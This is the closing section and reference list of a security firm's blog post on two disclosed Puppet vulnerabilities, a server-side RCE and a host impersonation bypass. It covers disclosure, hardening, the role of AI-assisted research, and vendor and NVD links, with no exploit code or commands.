rel=\"nofollow ugc noopener\">Perforce Support: Report Deserialization Code Execution</a></li><li><a href=\"https://portal.perforce.com/s/cve/a91Qi000003IaJRIA0/certificate-name-authorization-bypass\" rel=\"nofollow ugc noopener\">Perforce Support: Certificate Name Authorization Bypass</a></li></ul>\n<p>We appreciate the fast response and the transparency throughout the disclosure process!</p>\n<h2 id=\"closing-words\">Closing Words<a href=\"#closing-words\">¶</a></h2>\n<p>Puppet is a powerful software, often with full access to a fleet of systems in a corporate network.\nRemote Code Execution on such a central and important system can lead to worst-case scenarios: Deployment of ransomware, mass data exfiltration and potentially lateral movement to other parts of the network.\nBut even with the two critical bugs highlighted in this post, an environment hardened according to the best practices will mitigate direct impact significantly.</p>\n<p>While both of the bugs above were found with AI assistance, the prompting effort and precise steering of the AI was crucial to the success.\nWith AI rapidly accelerating security research, unguided AI prompting keeps bringing up the same and already covered attack surface, unless steered by experienced researchers with broad knowledge.</p>\n<p>If you are also in need of such deep technical analysis of your applications, contact us!</p>\n<h2 id=\"references\">References<a href=\"#references\">¶</a></h2>\n<ul><li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-115731\" rel=\"nofollow ugc noopener\">NIST NVD Page for CVE-2026-115731</a></li><li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-115732\" rel=\"nofollow ugc noopener\">NIST NVD Page for CVE-2026-115732</a></li></ul>","headings":[{"level":1,"text":"Pulling the right strings for RCE on a Puppet","id":"pulling-the-right-strings-for-rce-on-a-puppet"},{"level":2,"text":"TL;DR¶","id":"tl-dr"},{"level":2,"text":"Introduction¶","id":"introduction"},{"level":2,"text":"Vulnerability 1: RCE on the Puppet Server (CVE-2026-115731)¶","id":"vulnerability-1-rce-on-the-puppet-server-cve-2026-115731"},{"level":2,"text":"Vulnerability 2: Puppet Host Impersonation (CVE-2026-115732)¶","id":"vulnerability-2-puppet-host-impersonation-cve-2026-115732"},{"level":2,"text":"Disclosure¶","id":"disclosure"},{"level":2,"text":"Closing Words¶","id":"closing-words"},{"level":2,"text":"References¶","id":"references"}]}}